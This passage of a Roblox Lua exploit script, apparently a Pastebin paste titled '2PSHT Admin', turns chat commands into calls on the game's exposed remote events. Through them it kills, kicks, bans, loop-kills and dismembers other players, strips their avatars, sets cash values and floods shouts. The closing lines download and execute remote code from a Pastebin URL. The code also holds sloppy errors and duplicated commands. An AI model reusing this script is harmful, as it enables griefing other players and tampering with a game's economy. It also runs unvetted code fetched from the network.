  1522. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1523. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  1524. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1525. end
  1526. end
  1527. end
  1528. end)
  1529.  
  1530. Command62 = playersService[v].Chatted:Connect(function(msg)
  1531. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removeface " then
  1532. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1533. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  1534. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1535. end
  1536. end
  1537. end
  1538. end)
  1539.  
  1540. Command63 = playersService[v].Chatted:Connect(function(msg)
  1541. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rhats " then
  1542. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1543. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1544. if o:IsA("Accessory") then
  1545. replicatedStorage.events.destroyObject:FireServer(o)
  1546. end
  1547. end
  1548. end
  1549. end
  1550. end)
  1551.  
  1552. Command64 = playersService[v].Chatted:Connect(function(msg)
  1553. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removehats " then
  1554. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1555. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1556. if o:IsA("Accessory") then
  1557. replicatedStorage.events.destroyObject:FireServer(o)
  1558. end
  1559. end
  1560. end
  1561. end
  1562. end)
  1563.  
  1564. Command65 = playersService[v].Chatted:Connect(function(msg)
  1565. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."creeper " then
  1566. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1567. if playersService[v].Character.Head:FindFirstChild("Mesh") then
  1568. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head.Mesh)
  1569. end
  1570. if playersService[v].Character:FindFirstChild("Left Arm") then
  1571. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1572. end
  1573. if playersService[v].Character:FindFirstChild("Right Arm") then
  1574. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1575. end
  1576. end
  1577. end
  1578. end)
  1579.  
  1580. Command66 = playersService[v].Chatted:Connect(function(msg)
  1581. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."toolban " then
  1582. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1583. table.insert(toolbanned,playersService[v].Name)
  1584. end
  1585. end
  1586. end)
  1587.  
  1588. Command67 = playersService[v].Chatted:Connect(function(msg)
  1589. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."untoolban " then
  1590. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  1591. for j,k in pairs(toolbanned) do
  1592. if string.match(k,v) then
  1593. table.remove(toolbanned,j)
  1594. end
  1595. end
  1596. end
  1597. end
  1598. end)
  1599.  
  1600. end
  1601. end
  1602. end
  1603.  
  1604. createCommand:Connect(function(msg)
  1605. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."unadmin " then
  1606. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1607. for j,k in pairs(administrators) do
  1608. if string.match(k,v) then
  1609. table.remove(administrators,j)
  1610. Command39:Disconnect()
  1611. Command40:Disconnect()
  1612. Command41:Disconnect()
  1613. Command42:Disconnect()
  1614. Command43:Disconnect()
  1615. Command44:Disconnect()
  1616. Command45:Disconnect()
  1617. Command46:Disconnect()
  1618. Command47:Disconnect()
  1619. Command48:Disconnect()
  1620. Command49:Disconnect()
  1621. Command50:Disconnect()
  1622. Command51:Disconnect()
  1623. Command52:Disconnect()
  1624. Command53:Disconnect()
  1625. Command54:Disconnect()
  1626. Command55:Disconnect()
  1627. Command56:Disconnect()
  1628. Command57:Disconnect()
  1629. Command58:Disconnect()
  1630. Command59:Disconnect()
  1631. Command60:Disconnect()
  1632. Command61:Disconnect()
  1633. Command62:Disconnect()
  1634. Command63:Disconnect()
  1635. Command64:Disconnect()
  1636. Command65:Disconnect()
  1637. Command66:Disconnect()
  1638. Command67:Disconnect()
  1639. end
  1640. end
  1641. end
  1642. end
  1643. end)
  1644. end)
  1645.  
  1646. createCommand:Connect(function(msg)
  1647. if msg:lower():sub(1,14+Prefix:len()) == Prefix.."administrator " then
  1648. for i,v in pairs(GetPlayer(string.sub(msg,15+Prefix:len()))) do
  1649. table.insert(administrators,playersService[v].Name)
  1650. Uctron.SoundFX._notification1:Play()
  1651. starterGui:SetCore("SendNotification", {
  1652. Title = "2PSHT Admin | Success";
  1653. Text = "Administrator powers given to \""..v.."\".";
  1654. Icon = "rbxassetid://4595715410";
  1655. Duration = 15;
  1656. Button1 = "Okay";
  1657. })
  1658. Command68 = playersService[v].Chatted:Connect(function(msg)
  1659. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."punish " then
  1660. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1661. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character)
  1662. end
  1663. end
  1664. end)
  1665.  
  1666. Command69 = playersService[v].Chatted:Connect(function(msg)
  1667. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."ragdoll " then
  1668. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1669. if playersService[v].Character:FindFirstChild("Humanoid") then
  1670. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Humanoid)
  1671. end
  1672. end
  1673. end
  1674. end)
  1675.  
  1676. Command70 = playersService[v].Chatted:Connect(function(msg)
  1677. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kick " then
  1678. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  1679. if playersService:FindFirstChild(v) then
  1680. replicatedStorage.events.destroyObject:FireServer(playersService[v])
  1681. end
  1682. end
  1683. end
  1684. end)
  1685.  
  1686. Command71 = playersService[v].Chatted:Connect(function(msg)
  1687. if msg:lower():sub(1,4+Prefix:len()) == Prefix.."ban " then
  1688. for i,v in pairs(GetPlayer(string.sub(msg,5+Prefix:len()))) do
  1689. table.insert(banned,playersService[v].Name)
  1690. end
  1691. end
  1692. end)
  1693.  
  1694. Command72 = playersService[v].Chatted:Connect(function(msg)
  1695. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."unban " then
  1696. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1697. for j,k in pairs(banned) do
  1698. if string.match(k,v) then
  1699. table.remove(banned,j)
  1700. end
  1701. end
  1702. end
  1703. end
  1704. end)
  1705.  
  1706. Comman73 = playersService[v].Chatted:Connect(function(msg)
  1707. if msg:lower():sub(1,3+Prefix:len()) == Prefix.."cm " then
  1708. local ChatMessage = msg:sub(4+Prefix:len(), #msg)
  1709. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  1710. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  1711. end
  1712. end)
  1713.  
  1714. Command74 = playersService[v].Chatted:Connect(function(msg)
  1715. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."cmessage " then
  1716. local ChatMessage = msg:sub(10+Prefix:len(), #msg)
  1717. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  1718. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  1719. end
  1720. end)
  1721.  
  1722. Command75 = playersService[v].Chatted:Connect(function(msg)
  1723. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."chatmessage " then
  1724. local ChatMessage = msg:sub(13+Prefix:len(), #msg)
  1725. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  1726. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  1727. end
  1728. end)
  1729.  
  1730. Command76 = playersService[v].Chatted:Connect(function(msg)
  1731. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."loopkill " then
  1732. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  1733. table.insert(loopkilled,playersService[v].Name)
  1734. end
  1735. end
  1736. end)
  1737.  
  1738. Command77 = playersService[v].Chatted:Connect(function(msg)
  1739. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."unloopkill " then
  1740. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1741. for j,k in pairs(loopkilled) do
  1742. if string.match(k,v) then
  1743. table.remove(loopkilled,j)
  1744. end
  1745. end
  1746. end
  1747. end
  1748. end)
  1749.  
  1750. Command78 = playersService[v].Chatted:Connect(function(msg)
  1751. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kill " then
  1752. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  1753. if playersService[v].Character.Torso:FindFirstChild("Neck") then
  1754. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Torso.Neck)
  1755. end
  1756. runService.RenderStepped:Wait()
  1757. end
  1758. end
  1759. end)
  1760.  
  1761. Command79 = playersService[v].Chatted:Connect(function(msg)
  1762. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."cash " then
  1763. for i,v in pairs(GetPlayer(string.split(msg, " ")[2])) do
  1764. b = string.split(msg, " ")[3]
  1765. game:GetService("ReplicatedStorage").Events.changeValue:InvokeServer(game:GetService('ReplicatedStorage').plrData[v].cash, b)
  1766. end
  1767. end
  1768. end)
  1769.  
  1770. Command80 = playersService[v].Chatted:Connect(function(msg)
  1771. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."unpackage " then
  1772. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  1773. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1774. if o:IsA("CharacterMesh") then
  1775. replicatedStorage.events.destroyObject:FireServer(o)
  1776. end
  1777. end
  1778. end
  1779. end
  1780. end)
  1781.  
  1782. Command81 = playersService[v].Chatted:Connect(function(msg)
  1783. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."rlimbs " then
  1784. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1785. if playersService[v].Character:FindFirstChild("Left Arm") then
  1786. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1787. end
  1788. if playersService[v].Character:FindFirstChild("Right Arm") then
  1789. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1790. end
  1791. if playersService[v].Character:FindFirstChild("Left Leg") then
  1792. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1793. end
  1794. if playersService[v].Character:FindFirstChild("Right Leg") then
  1795. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1796. end
  1797. end
  1798. end
  1799. end)
  1800.  
  1801. Command82 = playersService[v].Chatted:Connect(function(msg)
  1802. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."removelimbs " then
  1803. for i,v in pairs(GetPlayer(string.sub(msg,13+Prefix:len()))) do
  1804. if playersService[v].Character:FindFirstChild("Left Arm") then
  1805. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1806. end
  1807. if playersService[v].Character:FindFirstChild("Right Arm") then
  1808. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1809. end
  1810. if playersService[v].Character:FindFirstChild("Left Leg") then
  1811. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1812. end
  1813. if playersService[v].Character:FindFirstChild("Right Leg") then
  1814. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1815. end
  1816. end
  1817. end
  1818. end)
  1819.  
  1820. Command83 = playersService[v].Chatted:Connect(function(msg)
  1821. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rarms " then
  1822. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1823. if playersService[v].Character:FindFirstChild("Left Arm") then
  1824. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1825. end
  1826. if playersService[v].Character:FindFirstChild("Left Arm") then
  1827. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1828. end
  1829. end
  1830. end
  1831. end)
  1832.  
  1833. Command84 = playersService[v].Chatted:Connect(function(msg)
  1834. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removearms " then
  1835. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1836. if playersService[v].Character:FindFirstChild("Left Arm") then
  1837. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1838. end
  1839. if playersService[v].Character:FindFirstChild("Left Arm") then
  1840. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1841. end
  1842. end
  1843. end
  1844. end)
  1845.  
  1846. Command85 = playersService[v].Chatted:Connect(function(msg)
  1847. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rlegs " then
  1848. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1849. if playersService[v].Character:FindFirstChild("Left Leg") then
  1850. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1851. end
  1852. if playersService[v].Character:FindFirstChild("Right Leg") then
  1853. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1854. end
  1855. end
  1856. end
  1857. end)
  1858.  
  1859. Command86 = playersService[v].Chatted:Connect(function(msg)
  1860. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removelegs " then
  1861. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1862. if playersService[v].Character:FindFirstChild("Left Leg") then
  1863. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1864. end
  1865. if playersService[v].Character:FindFirstChild("Right Leg") then
  1866. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1867. end
  1868. end
  1869. end
  1870. end)
  1871.  
  1872. Command87 = playersService[v].Chatted:Connect(function(msg)
  1873. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."naked " then
  1874. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1875. if playersService[v].Character:FindFirstChild("Shirt") then
  1876. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  1877. else
  1878. end
  1879. if playersService[v].Character:FindFirstChild("Pants") then
  1880. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  1881. else
  1882. end
  1883. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  1884. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  1885. else
  1886. end
  1887. end
  1888. end
  1889. end)
  1890.  
  1891. Command88 = playersService[v].Chatted:Connect(function(msg)
  1892. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."nayked " then
  1893. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1894. if playersService[v].Character:FindFirstChild("Shirt") then
  1895. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  1896. else
  1897. end
  1898. if playersService[v].Character:FindFirstChild("Pants") then
  1899. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  1900. else
  1901. end
  1902. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  1903. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  1904. else
  1905. end
  1906. end
  1907. end
  1908. end)
  1909.  
  1910. Command89 = playersService[v].Chatted:Connect(function(msg)
  1911. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."faceless " then
  1912. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  1913. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1914. end
  1915. end
  1916. end)
  1917.  
  1918. Command90 = playersService[v].Chatted:Connect(function(msg)
  1919. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rface " then
  1920. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1921. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  1922. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1923. end
  1924. end
  1925. end
  1926. end)
  1927.  
  1928. Command91 = playersService[v].Chatted:Connect(function(msg)
  1929. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removeface " then
  1930. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1931. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  1932. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1933. end
  1934. end
  1935. end
  1936. end)
  1937.  
  1938. Command92 = playersService[v].Chatted:Connect(function(msg)
  1939. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rhats " then
  1940. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1941. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1942. if o:IsA("Accessory") then
  1943. replicatedStorage.events.destroyObject:FireServer(o)
  1944. end
  1945. end
  1946. end
  1947. end
  1948. end)
  1949.  
  1950. Command93 = playersService[v].Chatted:Connect(function(msg)
  1951. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removehats " then
  1952. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1953. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1954. if o:IsA("Accessory") then
  1955. replicatedStorage.events.destroyObject:FireServer(o)
  1956. end
  1957. end
  1958. end
  1959. end
  1960. end)
  1961.  
  1962. Command94 = playersService[v].Chatted:Connect(function(msg)
  1963. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."creeper " then
  1964. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1965. if playersService[v].Character.Head:FindFirstChild("Mesh") then
  1966. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head.Mesh)
  1967. end
  1968. if playersService[v].Character:FindFirstChild("Left Arm") then
  1969. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1970. end
  1971. if playersService[v].Character:FindFirstChild("Right Arm") then
  1972. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1973. end
  1974. end
  1975. end
  1976. end)
  1977.  
  1978. Command95 = playersService[v].Chatted:Connect(function(msg)
  1979. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."toolban " then
  1980. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1981. table.insert(toolbanned,playersService[v].Name)
  1982. end
  1983. end
  1984. end)
  1985.  
  1986. Command96 = playersService[v].Chatted:Connect(function(msg)
  1987. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."untoolban " then
  1988. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  1989. for j,k in pairs(toolbanned) do
  1990. if string.match(k,v) then
  1991. table.remove(toolbanned,j)
  1992. end
  1993. end
  1994. end
  1995. end
  1996. end)
  1997.  
  1998. end
  1999. end
  2000. end)
  2001.  
  2002. createCommand:Connect(function(msg)
  2003. if msg:lower():sub(1,16+Prefix:len()) == Prefix.."unadministrator " then
  2004. for i,v in pairs(GetPlayer(string.sub(msg,17+Prefix:len()))) do
  2005. for j,k in pairs(administrators) do
  2006. if string.match(k,v) then
  2007. table.remove(administrators,j)
  2008. Command68 = playersService[v].Chatted:Disconnect()
  2009. Command69 = playersService[v].Chatted:Disconnect()
  2010. Command70 = playersService[v].Chatted:Disconnect()
  2011. Command71 = playersService[v].Chatted:Disconnect()
  2012. Command72 = playersService[v].Chatted:Disconnect()
  2013. Command73 = playersService[v].Chatted:Disconnect()
  2014. Command74 = playersService[v].Chatted:Disconnect()
  2015. Command75 = playersService[v].Chatted:Disconnect()
  2016. Command76 = playersService[v].Chatted:Disconnect()
  2017. Command77 = playersService[v].Chatted:Disconnect()
  2018. Command78 = playersService[v].Chatted:Disconnect()
  2019. Command79 = playersService[v].Chatted:Disconnect()
  2020. Command80 = playersService[v].Chatted:Disconnect()
  2021. Command81 = playersService[v].Chatted:Disconnect()
  2022. Command82 = playersService[v].Chatted:Disconnect()
  2023. Command83 = playersService[v].Chatted:Disconnect()
  2024. Command84 = playersService[v].Chatted:Disconnect()
  2025. Command85 = playersService[v].Chatted:Disconnect()
  2026. Command86 = playersService[v].Chatted:Disconnect()
  2027. Command87 = playersService[v].Chatted:Disconnect()
  2028. Command88 = playersService[v].Chatted:Disconnect()
  2029. Command89 = playersService[v].Chatted:Disconnect()
  2030. Command90 = playersService[v].Chatted:Disconnect()
  2031. Command91 = playersService[v].Chatted:Disconnect()
  2032. Command92 = playersService[v].Chatted:Disconnect()
  2033. Command93 = playersService[v].Chatted:Disconnect()
  2034. Command94 = playersService[v].Chatted:Disconnect()
  2035. Command95 = playersService[v].Chatted:Disconnect()
  2036. Command96 = playersService[v].Chatted:Disconnect()
  2037. end
  2038. end
  2039. end
  2040. end
  2041. end)
  2042.  
  2043. function Ban()
  2044. for i,v in pairs(banned) do
  2045. if playersService:FindFirstChild(v) then
  2046. replicatedStorage.events.destroyObject:FireServer(playersService[v])
  2047. end
  2048. end
  2049. end
  2050.  
  2051. function Loopkill()
  2052. for i,v in pairs(loopkilled) do
  2053. if playersService:FindFirstChild(v) then
  2054. torso = playersService[v].Character:FindFirstChild("Torso")
  2055. if torso then
  2056. neck = torso:FindFirstChild("Neck")
  2057. if neck then
  2058. replicatedStorage.events.destroyObject:FireServer(neck)
  2059. end
  2060. end
  2061. end
  2062. end
  2063. end
  2064.  
  2065. function Toolban()
  2066. for i,v in pairs(toolbanned) do
  2067. if playersService:FindFirstChild(v) then
  2068. for j,k in pairs(playersService[v].Backpack:GetChildren()) do
  2069. replicatedStorage.events.destroyObject:FireServer(k)
  2070. end
  2071. for j,k in pairs(playersService[v].Character:GetChildren()) do
  2072. if k:IsA("Tool") then
  2073. replicatedStorage.events.destroyObject:FireServer(k)
  2074. end
  2075. end
  2076. end
  2077. end
  2078. end
  2079.  
  2080. runService.Heartbeat:Connect(Ban)
  2081. runService.Heartbeat:Connect(Loopkill)
  2082. runService.Heartbeat:Connect(Toolban)
  2083.  
  2084. coroutine.resume(coroutine.create(function()
  2085. loadstring(game:HttpGet(("https://pastebin.com/raw/VVR2at1L"),true))()
  2086. end))
  2087. Uctron.SoundFX._notification1:Play()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement